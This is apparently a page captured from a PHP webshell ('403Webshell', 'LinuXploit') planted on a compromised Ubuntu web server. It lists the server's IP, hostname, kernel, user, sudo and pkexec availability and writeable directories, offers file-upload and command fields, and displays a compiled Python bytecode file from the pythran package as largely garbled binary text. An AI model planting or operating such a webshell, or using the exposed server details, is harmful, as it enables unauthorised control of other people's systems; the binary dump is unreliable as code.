403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/pythran/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/pythran/__pycache__/config.cpython-310.pyc
o

��a�5�@szddlmZWneyddlmZYnwddlZddlZddlmmZ	ddl
Z
ddlZddlZddl
mZe�d�Zdd�ZGdd	�d	e�Zd
d�ej�dfd
d�Zddd�Zdd�Zdd�Zdd�Zdd�Zed
d�ej�d�Zdd�Zedkr�e�dSdS)�)�ConfigParser)�SafeConfigParserN)�product�pythrancCstj�tj�t��pddS)N�.z/pythran)�os�path�dirname�__file__�rr�0/usr/lib/python3/dist-packages/pythran/config.py�get_includesr
c@s eZdZdZdd�Zdd�ZdS)�silentz/
    Silent sys.stderr at the system level
    cCs\zt�tj���|_t�tj���Wn
tjy d|_Ynwtj|_	t
tjd�t_dS)N�r)r�dup�sys�stderr�fileno�prevfd�close�io�UnsupportedOperation�
prevstream�open�devnull)�selfrrr�	__enter__s
�zsilent.__enter__cCs@tj��|jt_|jrt�|jtj���t�|j�dSdS�N)rrrrrr�dup2r)r�exc_type�	exc_value�	tracebackrrr�__exit__%s
�zsilent.__exit__N)�__name__�
__module__�__qualname__�__doc__rr"rrrrrs
r�pythran.cfg�pythran-{}.cfg�
.pythranrccCs�tj�t�}tj�||�}tj�||�}tj�|�s!tj�|d�}tj�dd�}|sItj�dd�}|s:tj�dd�}|s>d}tj�tj�||��}|||d�S)Nzpythran-default.cfg�	PYTHRANRC�XDG_CONFIG_HOME�HOME�~)r�platform�user)	rrr	r
�join�exists�environ�get�
expanduser)�sys_file�
platform_file�	user_file�sys_config_dir�sys_config_path�platform_config_path�user_config_path�user_config_dirrrr�
get_paths_cfg-s*���r=c
Csft|||�}|d}|d}|d}t�}||fD]}	|�|	g�q|�|g�|dur1t||�|S)Nrr.r/)r=r�read�
update_cfg)
r5r6r7�config_args�pathsr9r:r;�cfgp�requiredrrr�init_cfgHs
rDc	Csf|D].}z#|jddd�\}}|�d�\}}|�|�s|�|�|�|||�Wqty0YqwdS)N�=�)�maxsplitr)�split�has_section�add_section�set�	Exception)rBr@�arg�lhs�rhs�section�itemrrrr?Zs

��r?c
	Ks�|st�}t�}|�|d|dg�|��D](\}}tj�|�}d�d�|��	d�|r.dnd|g�}|r:t
�|�nt
�|�q|�
�D]8}|�|�rtt|�|��}t|�|��}	|�|	�rgt
�d�|��qDt
�d	�||�|	���qDt
�d
�|��qDdS)Nrr.� z{} file�
zexists:zdoes not exist:z7pythranrc section [{}] is valid and options are correctz=pythranrc section [{}] is valid but options {} are incorrect!z"pythranrc section [{}] is invalid!)r=rr>�itemsrrr1r0�format�rjust�logger�info�warning�sectionsrIrK�options�issubset�
difference)
rBrA�cfgp_ref�locrr1�msgrPr[�options_refrrr�lint_cfghs<
��

����rbcs�tdd�tj�d|�dd��}d|vr|�d�dd��ddd	�|�d
d���D�dd	�|�d
d
���D�dd	�|�d
d���D�dd	�|�d
d���D�dd	�|�d
d���D�dd	�|�d
d���D�dd	�|�d
d���D�gd�	}|r~|d�d�|d�d�tjj	��t
�}|d�|�|�dd�|�dd�}|�dd�}|dur�t�}|dur�||d<|p�||d<tj
�dd�}|dur�|d �|���tj
�d!d�}|dur�|d"�|���|��D]\}	}
||	�|
�q�|�d#d$��r|d�|d%�|�r|d�t�
��d&}|�d
d'�}|d(k�rQz#d)dl}
|d�d*�|d�|
j�|d+�tj�|
j|
j��Wnt�yPt�d,�d'}Yn
w|d-k�r]|d�d.�||v�r�t��Zt�|�}d/d	�t|d|d0�D�}td1d2�|D���r�|d�d3�n|d�d4�|� ���|d0�|�d0g��|d�|�dg��|d�|�dg��Wd�n	1�s�wY�fd5d	�|dD�|d<|S)6Nr'r(r)�configcSs6|�d�}|dkr
|dfS|d|�||dd�fS)NrErrF)�find)�define�indexrrr�parse_define�s
z$make_extension.<locals>.parse_define�c++cS�g|]}t|��qSr��str��.0�xrrr�
<listcomp>��z"make_extension.<locals>.<listcomp>�compiler�definescSrirrjrlrrrro�rp�undefscSrirrjrlrrrro�rp�include_dirscSrirrjrlrrrro�rp�library_dirscSrirrjrlrrrro�rp�libscSrirrjrlrrrro�rp�cflagscSrirrjrlrrrro�rp�ldflags)	�language�
define_macros�undef_macrosrtru�	libraries�extra_compile_args�extra_link_args�
extra_objectsrz�ENABLE_PYTHON_MODULEz__PYTHRAN__={}ry�cxx�cc�CXXFLAGSr}�LDFLAGSr~r�complex_hookz/pythonic/patch)�pythran-openblas�none�blasr�r�PYTHRAN_BLAS_OPENBLASrzvFailed to find 'pythran-openblas' package. Please install it or change the compiler.blas setting. Defaulting to 'blas'r��PYTHRAN_BLAS_NONEcSs$g|]\}}tj�|d�|���qS)zlib{}.so)rrr0rU)rm�dir�librrrro�s�r|css �|]}dtj�|�vVqdS)�atlasN)rr�realpath)rm�frrr�	<genexpr>s�z!make_extension.<locals>.<genexpr>�PYTHRAN_BLAS_ATLASzPYTHRAN_BLAS_{}cs"g|]
}t|t�r|n�|��qSr)�
isinstance�tuple)rm�dm�rgrrros��)!rDrUrr.r3�poprH�append�version_info�majorr
rqrr2�extendrT�
getboolean�numpy�pythran_openblasrtrr0�library_dir�static_library�ImportErrorrWrYr�	numpy_sys�get_infor�any�upper)�python�extra�cfg�	extension�pythonic_dirr�r�rwrx�k�w�reserved_blas_entries�	user_blas�openblas�
numpy_blas�
library_filesrr�r�make_extension�s�

�
���������
�
�


��

�
�
��

�r�cCs*tt�dd��}|sd}tj�d|�pdS)aGet compiler to use for C++ to binary process. The precedence for
    choosing the compiler is as follows::

      1. `CXX` environment variable
      2. User configuration (~/.pythranrc)

    Returns None if none is set or if it's set to the empty string

    rq�CXXN)rkr�r3rr2)�cfg_cxxrrrrqs
rqcs�ddl}ddl}ddl}ddl}ddl}|jdddd�}|jddd	d
�|jdddd
�|jd
ddd
�|jdddd
�|jdddddd�|�tj	dd��}|j
|_g}|jj
|jd�}|jdkrz|jdkrpt�tj�nt�tj�tt�|js�|jdkr�t�p�d}t�d�d�|�|jr�|�|�|j���|j���|js�|jdkr�dd��g}	|	��fdd�|d D��|	�d!d�|d"D��|jr�|	�d#|� ��|	�d#|j�!��t�d$�d�d%�"|	��|jr�|�|	�|j#�s|jdk�r^g}
|
��fd&d�|d'D��|
��fd(d�|d)D��|j�rH|
���$|j�%d*���|
�|j�%d+��&��|
���'d,�|j�%d-��t�d.�d�d%�"|
��|j#�r^|�|
�|�rjt(d%�"|��dSdS)/zU
    Dump on stdout the config flags required to compile pythran-generated code.
    rNzpythran-configz/output build options for pythran-generated codezIt's a megablast!)�prog�description�epilogz
--compiler�
store_truezprint default compiler)�action�helpz--cflagszprint compilation flagsz--libszprint linker flagsz--no-pythonz#do not include Python-related flagsz	--verbosez-v�countzlverbose mode: [-v] prints warnings if pythranrc has an invalid configuration; use [-vv] for more information)r��defaultr�rF)r��rhzCXX = �
cSs(|\}}|durd|Sd|d|S)Nz-DrEr)re�name�valuerrr�
fmt_definehszrun.<locals>.fmt_definec3s�|]}�|�VqdSrr)rmre)r�rrr�p���zrun.<locals>.<genexpr>rzcss�|]}d|VqdS)�-INr�rm�includerrrr�rr�rtr�zCXXFLAGS = rRc3��|]}��|�VqdSr)�library_dir_optionr���compiler_objrrr�~���ruc3r�r)�library_optionr�r�rrr��r�r|�LIBPL�LIBSr��VERSIONz
LDFLAGS = ))�argparse�distutils.ccompiler�distutils.sysconfigrr��ArgumentParser�add_argument�
parse_argsr�argv�	no_pythonr�rcr��verboserW�setLevel�logging�WARNING�INFOrbr�rqrXrVr��	ccompiler�new_compiler�	sysconfig�customize_compilerrwr�r
�get_python_incr0rvr��get_config_varrHr��print)r��	distutilsrr��parser�args�outputr�r�rwrxr)r�r�r�run+s�������





�
�
��
�
�r��__main__r)�configparserrr�rrr��numpy.distutils.system_infor��system_infor�r�rr�	itertoolsr�	getLoggerrWr
�objectrrUr.r=rDr?rbr�rqr�r�r#rrrr�<module>s@�


�
/~
�f
�

Youez - 2016 - github.com/yon3zu
LinuXploit